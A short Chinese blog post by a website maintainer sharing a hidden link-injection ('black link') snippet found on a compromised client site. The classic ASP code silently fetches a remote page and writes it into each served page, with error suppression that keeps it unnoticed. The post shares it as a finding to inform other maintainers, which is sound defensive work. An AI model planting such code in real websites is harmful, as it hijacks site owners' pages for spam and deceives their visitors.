一段隐藏得较好的挂链代码

有些客户网站用的是下载的源码，漏洞百出，被挂黑链曾碰过比较可耻的还打上文字：朋友的网站或链接要和谐。有一次检查时发现一段隐藏得不错的挂链代码，拷下来分享一下，当然编程高手一看便知。

<%
On Error Resume Next
Server.ScriptTimeOut=20
 response.write(getHTTPPage("http://网址"))
 function getHTTPPage(url)
  dim http
  set http=createobject("MSXML2.XMLHTTP")
  Http.open "GET",url,false
 Http.send()
 if Http.readystate<>4 then
  exit function
 end if
 getHTTPPage=bytes2BSTR(Http.responseBody)
  set http=nothing
 if err.number<>0 then err.Clear
 end function
  Function bytes2BSTR(vIn)
 dim strReturn
 dim i,ThisCharCode,NextCharCode
  strReturn = ""
  For i = 1 To LenB(vIn)
  ThisCharCode = AscB(MidB(vIn,i,1))
 If ThisCharCode < &H80 Then
   strReturn = strReturn & Chr(ThisCharCode)
 Else
   NextCharCode = AscB(MidB(vIn,i+1,1))
   strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
   i = i + 1
 End If
Next
  bytes2BSTR = strReturn
End Function
%>